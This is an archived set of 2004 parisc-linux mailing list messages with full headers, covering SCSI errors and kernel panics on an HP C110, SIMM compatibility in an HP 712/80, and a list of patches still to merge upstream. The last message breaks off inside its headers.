Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19848 invoked by uid 65534); 31 Oct 2004 21:11:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 31 Oct 2004 22:11:28 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 76C9C3BE36; Sun, 31 Oct 2004 14:11:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03052-05; Sun, 31 Oct 2004 14:11:25 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EF3913BE43; Sun, 31 Oct 2004 14:11:13 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7CA7D3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 14:11:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03052-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 14:11:07 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 322A73BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 14:11:07 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id B3A35494773; Sun, 31 Oct 2004 14:11:06 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by palinux.hppa (Postfix) with ESMTP id 1149D4940BC
	for <parisc-linux@parisc-linux.org>;
	Sun, 31 Oct 2004 14:11:05 -0700 (MST)
Original-Received: from [83.134.225.246] (helo=[83.134.225.246])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1COMyd-0008ND-CL; Sun, 31 Oct 2004 22:11:03 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <4183F270.30705@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25004

Hello James,
> 
> The serial console pb being fixed, I can now boot again my c110 with 
> recent 2.6.10-rc1-pa3 :)
> 
[...]
> 
> ending by the fatal:
> Kernel panic - not syncing: drivers/parisc/ccio-dma.c: 
> ccio_alloc_range() I/O M.
> 
> And at the reboot weird kernel announce:
> [...]
> 53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
> scsi1: 53c710 rev 2
> scsi1 : LASI SCSI 53c700
> scsi1 (0:0) New error handler wants to abort command
>         scsi1 : destination target 0, lun 0
>         command = 0x12 00 00 00 24 00
> scsi1 (0:0) New error handler wants device reset
>         scsi1 : destination target 0, lun 0
>         command = 0x12 00 00 00 24 00
> scsi1 (0:0) New error handler wants BUS reset, cmd 2fd2ab60
>         scsi1 : destination target 0, lun 0
>         command = 0x12 00 00 00 24 00
> scsi1: Bus Reset detected, executing command 2fd2ab60, slot 2fd70520, 
> dsp 001d8] failing command because of reset, slot 2fd70520, cmnd 2fd2ab60
>  1:0:0:0: Illegal state transition created->quiesce
> Badness in scsi_device_set_state at drivers/scsi/scsi_lib.c:1713
> Backtrace:
>  [<1025de58>] scsi_device_set_state+0xf8/0x1a8
>  [<1025df1c>] scsi_device_quiesce+0x14/0x64
>  [<102630ac>] spi_dv_device+0x70/0x1a8
>  [<102631fc>] spi_dv_device_work_wrapper+0x18/0x3c
>  [<10139514>] worker_thread+0x1ac/0x278
>  [<1013e04c>] kthread+0xdc/0xe4
>  [<1010dc5c>] ret_from_kernel_thread+0x1c/0x24
> 
> scsi1 (0:0) New error handler wants HOST reset
>         scsi1 : destination target 0, lun 0
>         command = 0x12 00 00 00 24 00
> scsi: Device offlined - not ready after error recovery: host 1 channel 0 
> id 0 l0
>   Vendor: SEAGATE   Model: ST34573W          Rev: HP11
>   Type:   Direct-Access                      ANSI SCSI revision: 02
>  target1:0:3: Beginning Domain Validation
> scsi1: (3:0) Asynchronous
> scsi1: (3:0) Enabling Tag Command Queuing
> scsi1: (3:0) Synchronous at offset 8, period 100ns
>  target1:0:3: Domain Validation skipping write tests
>  target1:0:3: Ending Domain Validation
> st: Version 20040403, fixed bufsize 32768, s/g segs 256
> [...]
> 
> hmm, I try to reproduce the previous panic but I don't reach; this time 
> only one:
>  scsi1: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
> scsi1: Bus Reset detected, executing command 2fd2aa00, slot 2fd70778, 
> dsp 001d81e8[01e8]
>  failing command because of reset, slot 2fd70778, cmnd 2fd2aa00
> 
Just a small update:
test 2.6.10-rc1-pa5 boot fine, but didn't solve lasi scsi ctrl:
scsi1: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG N
scsi1: Bus Reset detected, executing command 26fb04c0, slot 2fd6064c, dsp 001d8]
  failing command because of reset, slot 2fd60520, cmnd 2fd19740
  failing command because of reset, slot 2fd6064c, cmnd 26fb04c0
  failing command because of reset, slot 2fd60778, cmnd 2fd19b60
  failing command because of reset, slot 2fd608a4, cmnd 26fb0620
Incorrect number of segments after building list
counted 29, received 28
req nr_sec 1024, cur_nr_sec 8
Buffer I/O error on device sdc9, logical block 44761
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 44762
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 44763
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 44764
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 44765
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 44766
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 44767
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 44768
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 44769
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 44770
lost page write due to I/O error on sdc9
Incorrect number of segments after building list
counted 22, received 21
req nr_sec 1024, cur_nr_sec 8

Just the ggg work-around (ccio_mem_ratio = 2;) seems to help.

Hth,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?Corn=E9_Beerse?= <cbeerse@lycos.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 712/80 and 64 MBit sims.
Date: Mon, 01 Nov 2004 15:27:23 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <418647CB.3050304@lycos.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624504 26434 80.91.229.3 (22 Nov 2014 02:48:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:24 +0000 (UTC)
To: "maillist hppa gentoo.org" <gentoo-hppa@lists.gentoo.org>,
 maillist hpux-admin <hpux-admin@DutchWorks.nl>,
 maillist parisc-linux <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15792 invoked by uid 65534); 1 Nov 2004 14:28:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx035) with SMTP; 01 Nov 2004 15:28:10 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1058B3BD42; Mon,  1 Nov 2004 07:28:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12450-05; Mon, 1 Nov 2004 07:28:01 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6E2543BDFC; Mon,  1 Nov 2004 07:27:41 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A7E923BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Nov 2004 07:27:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12520-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Nov 2004 07:27:31 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 742EC3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Nov 2004 07:27:31 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 57D1A4949A2; Mon,  1 Nov 2004 07:27:30 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from lmfilto03.st1.spray.net (lmfilto03.st1.spray.net
	[212.78.202.217]) by palinux.hppa (Postfix) with ESMTP id 7EB84494544
	for <parisc-linux@parisc-linux.org>;
	Mon,  1 Nov 2004 07:27:28 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by lmfilto03.st1.spray.net (Postfix) with ESMTP
	id B76EB175931; Mon,  1 Nov 2004 14:27:25 +0000 (GMT)
Original-Received: from lmsmtp01.st1.spray.net ([212.78.202.111])
	by localhost (lmfilto03.st1.spray.net [212.78.202.32]) (amavisd-new,
	port 10024)
	with ESMTP id 15781-03; Mon,  1 Nov 2004 14:27:25 +0000 (GMT)
Original-Received: from [130.78.75.214] (unknown [193.172.135.148])
	by lmsmtp01.st1.spray.net (Postfix) with ESMTP id 5F57B1269;
	Mon,  1 Nov 2004 14:27:24 +0000 (GMT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
	rv:1.7.3) Gecko/20040910
X-Accept-Language: en-us, en
X-Virus-Scanned: by amavisd-new at spray.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25005

Hello,

In http://www.openpa.net/systems/712.html, it says a 712/80 cannot coop with 
64MBit sims. It so happens I have those around (from a D210, 
http://www.openpa.net/systems/ultralight.html) and like to use them in the 712.

Can these sims be usefull to me? By providing just the supported 32 MByte? or 
even better, just provide all memory.

Or is it that these (rather large) sims just don't fit in the slim 712 case?

Has anyone experience with this? Is it possible the sims or the system can be 
ruined by just using it?



CBee
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Merge update status
Date: Wed, 3 Nov 2004 16:54:36 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <20041103165436.GI24690@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624504 26436 80.91.229.3 (22 Nov 2014 02:48:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:24 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3523 invoked by uid 65534); 3 Nov 2004 16:55:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 03 Nov 2004 17:55:23 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2EF8E3BE2B; Wed,  3 Nov 2004 09:55:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07523-09; Wed, 3 Nov 2004 09:55:16 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BDAF83BE27; Wed,  3 Nov 2004 09:54:50 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F26B3BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Nov 2004 09:54:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07523-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 3 Nov 2004 09:54:43 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 609D33BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Nov 2004 09:54:39 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 0AD29494ABC; Wed,  3 Nov 2004 09:54:39 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 67111494544
	for <parisc-linux@parisc-linux.org>;
	Wed,  3 Nov 2004 09:54:38 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CPOP6-0006KK-TW
	for parisc-linux@parisc-linux.org; Wed, 03 Nov 2004 16:54:36 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25006


As some of you may have noticed, I've been busily splitting and merging
our patches with Linus.  Excluding the patches I've sent today which
haven't been accepted yet (I expect he was up late watching the election
;-), here's the remaining to-merge list:

 - parisc_device
 - PDC_INITIATOR rewrite
 - PDC stable storage
 - iomap
 - ns87415
 - input (helge sent to vojtech recently)
 - tulip (vetoed by jgarzik)
 - pci early fixups (should go in via gregkh)
 - pcmcia (should go in via rmk)
 - sym2 (sent to linux-scsi recently)
 - ncr53c8xx trivial patch
 - serial (may now be obsolete)
 - smbfs CONFIG_UID16
 - compat_signal
 - printk/CON_BOOT mess
 - resource oneliner
 - shmem gcc 3.3 OPD workaround (pre-vetoed)
 - O= fix (obsoleted)

The current (400k) patch is at
http://www.parisc-linux.org/~willy/parisc-2.6.10-rc1-bk13-a.diff

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Corn=E9_Beerse?= <cbeerse@lycos.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 712/80 and 64 MBit sims.
Date: Wed, 03 Nov 2004 11:13:15 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <4188AF3B.6000305@lycos.nl>
References: <418647CB.3050304@lycos.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624504 26441 80.91.229.3 (22 Nov 2014 02:48:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:24 +0000 (UTC)
To: maillist parisc-linux <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23084 invoked by uid 65534); 3 Nov 2004 10:14:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx013) with SMTP; 03 Nov 2004 11:14:48 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3A8053BC80; Wed,  3 Nov 2004 03:14:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03209-08; Wed, 3 Nov 2004 03:14:11 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 762163BE26; Wed,  3 Nov 2004 03:13:40 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6CFA73BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Nov 2004 03:13:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03209-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 3 Nov 2004 03:13:34 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E41F13BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Nov 2004 03:13:33 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id E0901494ABC; Wed,  3 Nov 2004 03:13:30 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from lmfilto01.st1.spray.net (lmfilto01.st1.spray.net
	[212.78.202.65]) by palinux.hppa (Postfix) with ESMTP id 2CBC4494544
	for <parisc-linux@parisc-linux.org>;
	Wed,  3 Nov 2004 03:13:30 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by lmfilto01.st1.spray.net (Postfix) with ESMTP id 9C917134E79
	for <parisc-linux@parisc-linux.org>;
	Wed,  3 Nov 2004 10:13:27 +0000 (GMT)
Original-Received: from lmsmtp01.st1.spray.net ([212.78.202.111])
	by localhost (lmfilto01.st1.spray.net [212.78.202.32]) (amavisd-new,
	port 10024)
	with ESMTP id 04358-01 for <parisc-linux@parisc-linux.org>;
	Wed,  3 Nov 2004 10:13:17 +0000 (GMT)
Original-Received: from [130.78.75.214] (unknown [193.172.135.148])
	by lmsmtp01.st1.spray.net (Postfix) with ESMTP id E0FA9A4
	for <parisc-linux@parisc-linux.org>;
	Wed,  3 Nov 2004 10:13:16 +0000 (GMT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
	rv:1.7.3) Gecko/20040910
X-Accept-Language: en-us, en
In-Reply-To: <418647CB.3050304@lycos.nl>
X-Virus-Scanned: by amavisd-new at spray.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25007

Corn Beerse wrote:

> Hello,
> 
> In http://www.openpa.net/systems/712.html, it says a 712/80 cannot coop 
> with 64MBit sims. It so happens I have those around (from a D210, 
> http://www.openpa.net/systems/ultralight.html) and like to use them in 
> the 712.
> 
> Can these sims be usefull to me? By providing just the supported 32 
> MByte? or even better, just provide all memory.
> 
> Or is it that these (rather large) sims just don't fit in the slim 712 
> case?
> 
> Has anyone experience with this? Is it possible the sims or the system 
> can be ruined by just using it?
> 

My own experience so far:

Physically, they don't fit: the modules are 1 or 2 millimeters to high to close 
the box without any damage.

The modules do fit nice in the connectors however... As someone pointet out, the 
64MBit modules form the D210 have connectors at both sides and the connector in 
the 712 only connects to one side. Unfortunatly, it is NOT a design where the 
module is just presented as 2, half-sized, modules as I silently hoped...

In the end, the 712 saw something in the connectors but found to many errors to 
actually do something with it, other than complaining about defective memory 
modules.

If someone likes the memory modules (2 modules of 64MBit each, suitable for a 
D210), or even like to pick-up the entire D210 in Leiden, The Netherlands, 
please reply. It comes with 700/96 terminal, disk, tape etc.



CBee

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASSERT() -> BUG_ON() (1/4):
	arch/parisc/kernel/pci-dma.c
Date: Sun, 7 Nov 2004 14:48:47 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20041107214847.GB16345@colo.lackof.org>
References: <418E1BD1.7010108@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624504 26444 80.91.229.3 (22 Nov 2014 02:48:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:24 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28067 invoked by uid 65534); 7 Nov 2004 21:49:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 07 Nov 2004 22:49:14 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 996B13BE4A; Sun,  7 Nov 2004 14:49:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28476-01; Sun, 7 Nov 2004 14:49:09 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5DFC63BE4E; Sun,  7 Nov 2004 14:48:57 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C6D33BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Nov 2004 14:48:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27943-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Nov 2004 14:48:50 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3647C3BE3E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Nov 2004 14:48:50 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id ABFE7494544; Sun,  7 Nov 2004 14:48:49 -0700 (MST)
